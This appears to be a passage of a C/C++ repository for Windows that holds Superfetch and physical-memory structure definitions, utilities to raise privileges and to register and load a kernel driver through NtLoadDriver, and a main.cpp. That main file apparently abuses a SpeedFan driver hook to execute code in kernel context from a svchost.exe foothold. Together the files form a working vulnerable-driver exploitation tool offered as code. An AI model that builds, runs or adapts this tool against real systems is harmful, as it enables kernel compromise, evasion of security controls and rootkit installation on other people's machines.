48 | SIZE_T RepurposedPagesByPriority[8]; 49 | ULONG_PTR ModifiedPageCountPageFile; 50 | } SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION; 51 | 52 | // 53 | // Sub-Information Types for PFN Identity 54 | // 55 | typedef struct _MEMORY_FRAME_INFORMATION { 56 | ULONGLONG UseDescription : 4; 57 | ULONGLONG ListDescription : 3; 58 | ULONGLONG Reserved0 : 1; 59 | ULONGLONG Pinned : 1; 60 | ULONGLONG DontUse : 48; 61 | ULONGLONG Priority : 3; 62 | ULONGLONG Reserved : 4; 63 | } MEMORY_FRAME_INFORMATION, *PMEMORY_FRAME_INFORMATION; 64 | 65 | typedef struct _FILEOFFSET_INFORMATION { 66 | ULONGLONG DontUse : 9; 67 | ULONGLONG Offset : 48; 68 | ULONGLONG Reserved : 7; 69 | } FILEOFFSET_INFORMATION, *PFILEOFFSET_INFORMATION; 70 | 71 | typedef struct _PAGEDIR_INFORMATION { 72 | ULONGLONG DontUse : 9; 73 | ULONGLONG PageDirectoryBase : 48; 74 | ULONGLONG Reserved : 7; 75 | } PAGEDIR_INFORMATION, *PPAGEDIR_INFORMATION; 76 | 77 | typedef struct _UNIQUE_PROCESS_INFORMATION { 78 | ULONGLONG DontUse : 9; 79 | ULONGLONG UniqueProcessKey : 48; 80 | ULONGLONG Reserved : 7; 81 | } UNIQUE_PROCESS_INFORMATION, *PUNIQUE_PROCESS_INFORMATION; 82 | 83 | // 84 | // PFN Identity Data Structure 85 | // 86 | typedef struct _MMPFN_IDENTITY { 87 | union { 88 | MEMORY_FRAME_INFORMATION e1; 89 | FILEOFFSET_INFORMATION e2; 90 | PAGEDIR_INFORMATION e3; 91 | UNIQUE_PROCESS_INFORMATION e4; 92 | } u1; 93 | SIZE_T PageFrameIndex; 94 | union { 95 | struct { 96 | ULONG Image : 1; 97 | ULONG Mismatch : 1; 98 | } e1; 99 | PVOID FileObject; 100 | PVOID UniqueFileObjectKey; 101 | PVOID ProtoPteAddress; 102 | PVOID VirtualAddress; 103 | } u2; 104 | } MMPFN_IDENTITY, *PMMPFN_IDENTITY; 105 | 106 | // 107 | // Data Structure for SuperfetchPfnQuery 108 | // 109 | typedef struct _PF_PFN_PRIO_REQUEST { 110 | ULONG Version; 111 | ULONG RequestFlags; 112 | SIZE_T PfnCount; 113 | SYSTEM_MEMORY_LIST_INFORMATION MemInfo; 114 | MMPFN_IDENTITY PageData[256]; 115 | } PF_PFN_PRIO_REQUEST, *PPF_PFN_PRIO_REQUEST; 116 | 117 | typedef struct _PF_PROCESS { 118 | LIST_ENTRY ProcessLinks; 119 | ULONGLONG ProcessKey; 120 | CHAR ProcessName[16]; 121 | ULONG ProcessPfnCount; 122 | ULONG PrivatePages; 123 | HANDLE ProcessId; 124 | ULONG SessionId; 125 | HANDLE ProcessHandle; 126 | ULONG ProcessPfns[ANYSIZE_ARRAY]; 127 | } PF_PROCESS, *PPF_PROCESS; 128 | 129 | // 130 | // Superfetch Information Class 131 | // 132 | typedef enum _SUPERFETCH_INFORMATION_CLASS { 133 | SuperfetchRetrieveTrace = 1, // Query 134 | SuperfetchSystemParameters = 2, // Query 135 | SuperfetchLogEvent = 3, // Set 136 | SuperfetchGenerateTrace = 4, // Set 137 | SuperfetchPrefetch = 5, // Set 138 | SuperfetchPfnQuery = 6, // Query 139 | SuperfetchPfnSetPriority = 7, // Set 140 | SuperfetchPrivSourceQuery = 8, // Query 141 | SuperfetchSequenceNumberQuery = 9, // Query 142 | SuperfetchScenarioPhase = 10, // Set 143 | SuperfetchWorkerPriority = 11, // Set 144 | SuperfetchScenarioQuery = 12, // Query 145 | SuperfetchScenarioPrefetch = 13, // Set 146 | SuperfetchRobustnessControl = 14, // Set 147 | SuperfetchTimeControl = 15, // Set 148 | SuperfetchMemoryListQuery = 16, // Query 149 | SuperfetchMemoryRangesQuery = 17, // Query 150 | SuperfetchTracingControl = 18, // Set 151 | SuperfetchTrimWhileAgingControl = 19, 152 | SuperfetchInformationMax = 20 153 | } SUPERFETCH_INFORMATION_CLASS; 154 | 155 | // 156 | // Buffer for NtQuery/SetInformationSystem for the Superfetch Class 157 | // 158 | typedef struct _SUPERFETCH_INFORMATION { 159 | ULONG Version; 160 | ULONG Magic; 161 | SUPERFETCH_INFORMATION_CLASS InfoClass; 162 | PVOID Data; 163 | ULONG Length; 164 | } SUPERFETCH_INFORMATION, *PSUPERFETCH_INFORMATION; 165 | 166 | typedef struct _RTL_BITMAP { 167 | ULONG SizeOfBitMap; 168 | PULONG Buffer; 169 | } RTL_BITMAP, *PRTL_BITMAP; 170 | 171 | // 172 | // Superfetch Private Sources 173 | // 174 | typedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE { 175 | PfsPrivateSourceKernel = 0, 176 | PfsPrivateSourceSession = 1, 177 | PfsPrivateSourceProcess = 2, 178 | PfsPrivateSourceMax = 3 179 | } PFS_PRIVATE_PAGE_SOURCE_TYPE; 180 | 181 | // 182 | // Private Source Database Information 183 | // 184 | typedef struct _PFS_PRIVATE_PAGE_SOURCE { 185 | PFS_PRIVATE_PAGE_SOURCE_TYPE Type; 186 | ULONG ProcessId; 187 | ULONG ImagePathHash; 188 | ULONG_PTR UniqueProcessHash; 189 | } PFS_PRIVATE_PAGE_SOURCE, *PPFS_PRIVATE_PAGE_SOURCE; 190 | 191 | // 192 | // Private Source Entry 193 | // 194 | typedef struct _PF_PRIVSOURCE_INFO { 195 | PFS_PRIVATE_PAGE_SOURCE DbInfo; 196 | PVOID EProcess; 197 | SIZE_T WorkingSetPrivateSize; 198 | SIZE_T NumberOfPrivatePages; 199 | ULONG SessionID; 200 | CHAR ImageName[16]; 201 | 202 | union { 203 | ULONG_PTR WsSwapPages; // process only PF_PRIVSOURCE_QUERY_WS_SWAP_PAGES. 204 | ULONG_PTR SessionPagedPoolPages; // session only. 205 | ULONG_PTR StoreSizePages; // process only PF_PRIVSOURCE_QUERY_STORE_INFO. 206 | }; 207 | ULONG_PTR WsTotalPages; // process/session only. 208 | ULONG DeepFreezeTimeMs; // process only. 209 | ULONG ModernApp : 1; // process only. 210 | ULONG DeepFrozen : 1; // process only. If set, DeepFreezeTimeMs contains the time at which the freeze occurred 211 | ULONG Foreground : 1; // process only. 212 | ULONG PerProcessStore : 1; // process only. 213 | ULONG Spare : 28; 214 | 215 | } PF_PRIVSOURCE_INFO, *PPF_PRIVSOURCE_INFO; 216 | 217 | // 218 | // Query Data Structure for SuperfetchPrivSourceQuery 219 | // 220 | typedef struct _PF_PRIVSOURCE_QUERY_REQUEST { 221 | ULONG Version; 222 | ULONG Flags; 223 | ULONG InfoCount; 224 | PF_PRIVSOURCE_INFO InfoArray[ANYSIZE_ARRAY]; 225 | } PF_PRIVSOURCE_QUERY_REQUEST, *PPF_PRIVSOURCE_QUERY_REQUEST; 226 | 227 | typedef struct _PF_PHYSICAL_MEMORY_RANGE { 228 | ULONG_PTR BasePfn; 229 | ULONG_PTR PageCount; 230 | } PF_PHYSICAL_MEMORY_RANGE, *PPF_PHYSICAL_MEMORY_RANGE; 231 | 232 | typedef struct _PF_MEMORY_RANGE_INFO { 233 | ULONG Version; 234 | ULONG RangeCount; 235 | PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY]; 236 | } PF_MEMORY_RANGE_INFO, *PPF_MEMORY_RANGE_INFO; 237 | 238 | typedef struct _PHYSICAL_MEMORY_RUN { 239 | SIZE_T BasePage; 240 | SIZE_T PageCount; 241 | } PHYSICAL_MEMORY_RUN, *PPHYSICAL_MEMORY_RUN; 242 | 243 | typedef enum _SYSTEM_INFORMATION_CLASS 244 | { 245 | SystemBasicInformation, 246 | SystemProcessorInformation, 247 | SystemPerformanceInformation, 248 | SystemTimeOfDayInformation, 249 | SystemPathInformation, /// Obsolete: Use KUSER_SHARED_DATA 250 | SystemProcessInformation, 251 | SystemCallCountInformation, 252 | SystemDeviceInformation, 253 | SystemProcessorPerformanceInformation, 254 | SystemFlagsInformation, 255 | SystemCallTimeInformation, 256 | SystemModuleInformation, 257 | SystemLocksInformation, 258 | SystemStackTraceInformation, 259 | SystemPagedPoolInformation, 260 | SystemNonPagedPoolInformation, 261 | SystemHandleInformation, 262 | SystemObjectInformation, 263 | SystemPageFileInformation, 264 | SystemVdmInstemulInformation, 265 | SystemVdmBopInformation, 266 | SystemFileCacheInformation, 267 | SystemPoolTagInformation, 268 | SystemInterruptInformation, 269 | SystemDpcBehaviorInformation, 270 | SystemFullMemoryInformation, 271 | SystemLoadGdiDriverInformation, 272 | SystemUnloadGdiDriverInformation, 273 | SystemTimeAdjustmentInformation, 274 | SystemSummaryMemoryInformation, 275 | SystemMirrorMemoryInformation, 276 | SystemPerformanceTraceInformation, 277 | SystemObsolete0, 278 | SystemExceptionInformation, 279 | SystemCrashDumpStateInformation, 280 | SystemKernelDebuggerInformation, 281 | SystemContextSwitchInformation, 282 | SystemRegistryQuotaInformation, 283 | SystemExtendServiceTableInformation, // used to be SystemLoadAndCallImage 284 | SystemPrioritySeperation, 285 | SystemPlugPlayBusInformation, 286 | SystemDockInformation, 287 | SystemPowerInformationNative, 288 | SystemProcessorSpeedInformation, 289 | SystemCurrentTimeZoneInformation, 290 | SystemLookasideInformation, 291 | SystemTimeSlipNotification, 292 | SystemSessionCreate, 293 | SystemSessionDetach, 294 | SystemSessionInformation, 295 | SystemRangeStartInformation, 296 | SystemVerifierInformation, 297 | SystemAddVerifier, 298 | SystemSessionProcessesInformation, 299 | SystemLoadGdiDriverInSystemSpaceInformation, 300 | SystemNumaProcessorMap, 301 | SystemPrefetcherInformation, 302 | SystemExtendedProcessInformation, 303 | SystemRecommendedSharedDataAlignment, 304 | SystemComPlusPackage, 305 | SystemNumaAvailableMemory, 306 | SystemProcessorPowerInformation, 307 | SystemEmulationBasicInformation, 308 | SystemEmulationProcessorInformation, 309 | SystemExtendedHanfleInformation, 310 | SystemLostDelayedWriteInformation, 311 | SystemBigPoolInformation, 312 | SystemSessionPoolTagInformation, 313 | SystemSessionMappedViewInformation, 314 | SystemHotpatchInformation, 315 | SystemObjectSecurityMode, 316 | SystemWatchDogTimerHandler, 317 | SystemWatchDogTimerInformation, 318 | SystemLogicalProcessorInformation, 319 | SystemWo64SharedInformationObosolete, 320 | SystemRegisterFirmwareTableInformationHandler, 321 | SystemFirmwareTableInformation, 322 | SystemModuleInformationEx, 323 | SystemVerifierTriageInformation, 324 | SystemSuperfetchInformation, 325 | SystemMemoryListInformation, 326 | SystemFileCacheInformationEx, 327 | SystemThreadPriorityClientIdInformation, 328 | SystemProcessorIdleCycleTimeInformation, 329 | SystemVerifierCancellationInformation, 330 | SystemProcessorPowerInformationEx, 331 | SystemRefTraceInformation, 332 | SystemSpecialPoolInformation, 333 | SystemProcessIdInformation, 334 | SystemErrorPortInformation, 335 | SystemBootEnvironmentInformation, 336 | SystemHypervisorInformation, 337 | SystemVerifierInformationEx, 338 | SystemTimeZoneInformation, 339 | SystemImageFileExecutionOptionsInformation, 340 | SystemCoverageInformation, 341 | SystemPrefetchPathInformation, 342 | SystemVerifierFaultsInformation, 343 | MaxSystemInfoClass, 344 | } SYSTEM_INFORMATION_CLASS; 345 | 346 | typedef struct _SYSTEM_BASIC_INFORMATION { 347 | ULONG Reserved; 348 | ULONG TimerResolution; 349 | ULONG PageSize; 350 | ULONG NumberOfPhysicalPages; 351 | ULONG LowestPhysicalPageNumber; 352 | ULONG HighestPhysicalPageNumber; 353 | ULONG AllocationGranularity; 354 | ULONG_PTR MinimumUserModeAddress; 355 | ULONG_PTR MaximumUserModeAddress; 356 | ULONG_PTR ActiveProcessorsAffinityMask; 357 | CCHAR NumberOfProcessors; 358 | } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; 359 | 360 | struct RTL_PROCESS_MODULE_INFORMATION 361 | { 362 | unsigned int Section; 363 | void* MappedBase; 364 | void* ImageBase; 365 | unsigned int ImageSize; 366 | unsigned int Flags; 367 | unsigned short LoadOrderIndex; 368 | unsigned short InitOrderIndex; 369 | unsigned short LoadCount; 370 | unsigned short OffsetToFileName; 371 | char FullPathName[256]; 372 | }; 373 | 374 | struct RTL_PROCESS_MODULES 375 | { 376 | unsigned int NumberOfModules; 377 | RTL_PROCESS_MODULE_INFORMATION Modules[0]; 378 | }; 379 | 380 | struct SYSTEM_HANDLE 381 | { 382 | ULONG ProcessId; 383 | BYTE ObjectTypeNumber; 384 | BYTE Flags; 385 | USHORT Handle; 386 | PVOID Object; 387 | ACCESS_MASK GrantedAccess; 388 | }; 389 | 390 | struct SYSTEM_HANDLE_INFORMATION 391 | { 392 | ULONG HandleCount; 393 | SYSTEM_HANDLE Handles[0]; 394 | }; 395 | 396 | extern "C" NTSTATUS WINAPI NtQuerySystemInformation( 397 | IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 398 | OUT PVOID SystemInformation, 399 | IN ULONG SystemInformationLength, 400 | OUT PULONG ReturnLength OPTIONAL 401 | ); 402 | 403 | 404 | #define PAGE_SHIFT 12 405 | #define PAGE_SIZE (1 << 12) 406 | 407 | #define SE_DEBUG_PRIVILEGE (20L) 408 | #define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) 409 | 410 | extern "C" NTSTATUS NTAPI RtlAdjustPrivilege( 411 | IN ULONG Privilege, 412 | IN BOOLEAN NewValue, 413 | IN BOOLEAN ForThread, 414 | OUT PBOOLEAN OldValue 415 | ); 416 | 417 | #define SPAGE_SIZE 0x1000 418 | #define SUPERFETCH_VERSION 45 419 | #define SUPERFETCH_MAGIC 'kuhC' 420 | 421 | #endif -------------------------------------------------------------------------------- /src/Utilities/Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "Utilities\Utils.h" 2 | #include 3 | #include 4 | 5 | #define SERVICE_REG_SUBKEY "System\\CurrentControlSet\\Services\\" 6 | #define REGISTRY_PATH_PREFIX "\\Registry\\Machine\\" 7 | 8 | NTSTATUS(NTAPI* NtLoadDriver)(_In_ PUNICODE_STRING DriverServiceName); 9 | NTSTATUS(NTAPI* NtUnloadDriver)(_In_ PUNICODE_STRING DriverServiceName); 10 | PVOID(NTAPI* MmGetSystemRoutineAddress)(_In_ PUNICODE_STRING); 11 | 12 | 13 | Utils* g_pUtils = new Utils(); 14 | 15 | Utils::Utils() 16 | { 17 | } 18 | 19 | 20 | Utils::~Utils() 21 | { 22 | } 23 | 24 | 25 | 26 | PVOID Utils::GetSystemRoutine(PVOID pMmGetSystemRoutineAddress, const wchar_t* RoutineName) 27 | { 28 | if (RoutineName == nullptr || pMmGetSystemRoutineAddress == nullptr) 29 | return 0; 30 | 31 | MmGetSystemRoutineAddress = (decltype(MmGetSystemRoutineAddress))pMmGetSystemRoutineAddress; 32 | UNICODE_STRING usRoutine; 33 | RtlInitUnicodeString(&usRoutine, RoutineName); 34 | return MmGetSystemRoutineAddress(&usRoutine); 35 | } 36 | 37 | 38 | /* Elevates Process Privileges To Desired Privilege */ 39 | BOOLEAN Utils::EnablePrivilege(const char* lpPrivilegeName) 40 | { 41 | TOKEN_PRIVILEGES Privilege; 42 | HANDLE hToken; 43 | DWORD dwErrorCode; 44 | 45 | Privilege.PrivilegeCount = 1; 46 | Privilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 47 | if (!LookupPrivilegeValueA(NULL, lpPrivilegeName, 48 | &Privilege.Privileges[0].Luid)) 49 | return GetLastError(); 50 | 51 | if (!OpenProcessToken(GetCurrentProcess(), 52 | TOKEN_ADJUST_PRIVILEGES, &hToken)) 53 | return GetLastError(); 54 | 55 | if (!AdjustTokenPrivileges(hToken, FALSE, &Privilege, sizeof(Privilege), 56 | NULL, NULL)) { 57 | dwErrorCode = GetLastError(); 58 | CloseHandle(hToken); 59 | return dwErrorCode; 60 | } 61 | 62 | CloseHandle(hToken); 63 | return TRUE; 64 | } 65 | 66 | 67 | /* Registers a Service To The Registry */ 68 | /* Includes a ImagePath, Type, ErrorControl and Start, SubKeys */ 69 | BOOLEAN Utils::RegisterService(std::string ServicePath, std::string *ServiceRegKey) 70 | { 71 | HKEY hkResult; 72 | DWORD dwDispositon; 73 | DWORD dwServiceType = 1; 74 | DWORD dwServiceErrorControl = 1; 75 | DWORD dwServiceStart = 3; 76 | //DWORD dwProcType = 1; 77 | LPCSTR lpValueName = "ImagePath"; 78 | LPCSTR lpType = "Type"; 79 | LPCSTR lpErrorControl = "ErrorControl"; 80 | LPCSTR lpValueStart = "Start"; 81 | //LPCSTR lpDisplayName = "DisplayName"; 82 | //LPCSTR lpProcType = "WOW64"; 83 | 84 | size_t OffsetToServiceName = ServicePath.find_last_of('\\'); 85 | std::string ServiceName = ServicePath.substr(OffsetToServiceName + 1); // Get Service Name With ".sys" suffix 86 | 87 | std::string KeyName = ServiceName.substr(0, ServiceName.find_first_of('.')); // Get KeyName, (ServiceName without suffix ".sys") 88 | std::string SubKey = SERVICE_REG_SUBKEY + KeyName; 89 | *ServiceRegKey = REGISTRY_PATH_PREFIX + SubKey; // ServiceRegKey Needed To Load/Unload Driver With Native Functions 90 | 91 | LSTATUS Status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), 0, KEY_ALL_ACCESS, &hkResult); // Try To Open Registry Key (Checking if it exists) 92 | if (!Status) // If it exists, 93 | RegDeleteKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), KEY_WOW64_64KEY, 0); // then remove it for creating a new with correct SubKeys. 94 | 95 | Status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), 0, nullptr, 0, KEY_ALL_ACCESS, NULL, &hkResult, &dwDispositon); // Create SubKey. 96 | if (Status) 97 | return false; 98 | 99 | if (Status = RegSetValueExA(hkResult, lpValueName, 0, REG_EXPAND_SZ, (const BYTE*)std::string("\\??\\" + ServicePath).c_str(), ServicePath.size() + 4)) // Include prefix "\\??\\" for correct ImagePath 100 | { 101 | /* Error already caught */ 102 | } 103 | else if (Status = RegSetValueExA(hkResult, lpType, 0, REG_DWORD, (const BYTE*)&dwServiceType, sizeof(DWORD))) // Set Type Key 104 | { 105 | /* Error already caught */ 106 | } 107 | else if (Status = RegSetValueExA(hkResult, lpErrorControl, 0, REG_DWORD, (const BYTE*)&dwServiceErrorControl, sizeof(DWORD))) // Set ErrorControl Key 108 | { 109 | /* Error already caught */ 110 | } 111 | else if (Status = RegSetValueExA(hkResult, lpValueStart, 0, REG_DWORD, (const BYTE*)&dwServiceStart, sizeof(DWORD))) // Set Start Key 112 | { 113 | /* Error already caught */ 114 | } 115 | /*else if (Status = RegSetValueExA(hkResult, lpDisplayName, 0, REG_SZ, (const BYTE*)KeyName.c_str(), KeyName.size())) 116 | { 117 | 118 | } 119 | else if (Status = RegSetValueExA(hkResult, lpProcType, 0, REG_DWORD, (const BYTE*)&dwProcType, sizeof(DWORD))) 120 | { 121 | }*/ 122 | 123 | // ErrorHandling: 124 | RegCloseKey(hkResult); 125 | return Status == 0; 126 | } 127 | 128 | 129 | /* Initializes Native Functions For Loading And Unloading Drivers */ 130 | BOOLEAN Utils::InitNativeFuncs() 131 | { 132 | HMODULE hNtdll = GetModuleHandle("ntdll.dll"); 133 | if (!hNtdll) 134 | return FALSE; 135 | 136 | /* Look up desired functions */ 137 | NtLoadDriver = (decltype(NtLoadDriver))GetProcAddress(hNtdll, "NtLoadDriver"); 138 | NtUnloadDriver = (decltype(NtLoadDriver))GetProcAddress(hNtdll, "NtUnloadDriver"); 139 | 140 | if (!NtLoadDriver || !NtUnloadDriver) 141 | return FALSE; 142 | 143 | m_bIsNativeInitialized = TRUE; // Set their Initialization to TRUE for no Reinitialization 144 | return TRUE; 145 | } 146 | 147 | 148 | /* Loads A Driver Specified With The Service Registry Key */ 149 | NTSTATUS Utils::LoadDriver(std::string ServiceRegKey) 150 | { 151 | std::cout << "Loading: " << ServiceRegKey.substr(ServiceRegKey.find_last_of('\\') + 1).c_str() << ".sys\n"; 152 | UNICODE_STRING usKey{ 0 }; 153 | std::wstring ServiceRegKeyW(ServiceRegKey.begin(), ServiceRegKey.end()); 154 | 155 | if (!m_bIsNativeInitialized) 156 | if (!InitNativeFuncs()) // Initialize if it has not been initialized before 157 | return FALSE; 158 | 159 | RtlInitUnicodeString(&usKey, ServiceRegKeyW.c_str()); 160 | return NtLoadDriver(&usKey); 161 | } 162 | 163 | 164 | /* Unloads A Driver Specified With The Service Registry Key */ 165 | NTSTATUS Utils::UnloadDriver(std::string ServiceRegKey) 166 | { 167 | std::cout << "Unloading: " << ServiceRegKey.substr(ServiceRegKey.find_last_of('\\') + 1).c_str() << ".sys\n"; 168 | UNICODE_STRING usKey{ 0 }; 169 | std::wstring ServiceRegKeyW(ServiceRegKey.begin(), ServiceRegKey.end()); 170 | 171 | if (!m_bIsNativeInitialized) 172 | if (!InitNativeFuncs()) 173 | return FALSE; 174 | 175 | RtlInitUnicodeString(&usKey, ServiceRegKeyW.c_str()); 176 | return NtUnloadDriver(&usKey); 177 | } 178 | 179 | 180 | int Utils::isAscii(int c) 181 | { 182 | return((c >= 'A' && c <= 'z') || (c >= '0' && c <= '9') || c == 0x20 || c == '@' || c == '_' || c == '?'); 183 | } 184 | 185 | 186 | int Utils::isPrintable(uint32_t uint32) 187 | { 188 | if ((isAscii((uint32 >> 24) & 0xFF)) && (isAscii((uint32 >> 16) & 0xFF)) && (isAscii((uint32 >> 8) & 0xFF)) && 189 | (isAscii((uint32) & 0xFF))) 190 | return true; 191 | else 192 | return false; 193 | } 194 | 195 | 196 | /* Converts a character array to lower characters */ 197 | char* Utils::ToLower(char* szText) 198 | { 199 | char* T = (char*)malloc(MAX_PATH); // Allocate memory for new character array 200 | ZeroMemory(T, MAX_PATH); 201 | int i = 0; 202 | while (szText[i]) 203 | { 204 | T[i] = tolower(szText[i]); 205 | ++i; 206 | } 207 | return T; 208 | } -------------------------------------------------------------------------------- /src/Utilities/Utils.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILS_H 2 | #define UTILS_H 3 | #pragma once 4 | #include 5 | #include 6 | 7 | 8 | 9 | 10 | 11 | class Utils 12 | { 13 | public: 14 | Utils(); 15 | ~Utils(); 16 | 17 | public: 18 | BOOLEAN EnablePrivilege(const char* lpPrivilegeName); 19 | BOOLEAN RegisterService(std::string ServicePath, std::string *ServiceRegKey); 20 | NTSTATUS LoadDriver(std::string ServiceRegKey); 21 | NTSTATUS UnloadDriver(std::string ServiceRegKey); 22 | int isAscii(int c); 23 | int isPrintable(uint32_t uint32); 24 | char* ToLower(char* szText); 25 | 26 | PVOID GetSystemRoutine(PVOID MmGetSystemRoutineAddress, const wchar_t* RoutineName); 27 | 28 | private: 29 | BOOLEAN InitNativeFuncs(); 30 | 31 | 32 | BOOLEAN m_bIsNativeInitialized = false; 33 | }; 34 | 35 | #endif // !UTILS_H 36 | 37 | extern Utils* g_pUtils; -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "Utilities\Utils.h" 6 | #include "Memory\Proc.h" 7 | #include "Speedfan\SpeedfanHook.h" 8 | 9 | 10 | 11 | 12 | int main() 13 | { 14 | // Grab the first "svchost.exe" we find (reliable process to find) 15 | if (!g_pProc->OnSetup("svchost.exe")) 16 | return 0; 17 | 18 | // Set up hook 19 | if (!g_pHook->OnSetup()) 20 | return 0; 21 | 22 | // Set hook parameter 23 | g_pHook->SetHookParams((PVOID)0x4141414141414141); 24 | 25 | // Execute hook 26 | g_pHook->ExecuteHook(HookFunc); 27 | 28 | 29 | 30 | std::cin.get(); 31 | return 0; 32 | } --------------------------------------------------------------------------------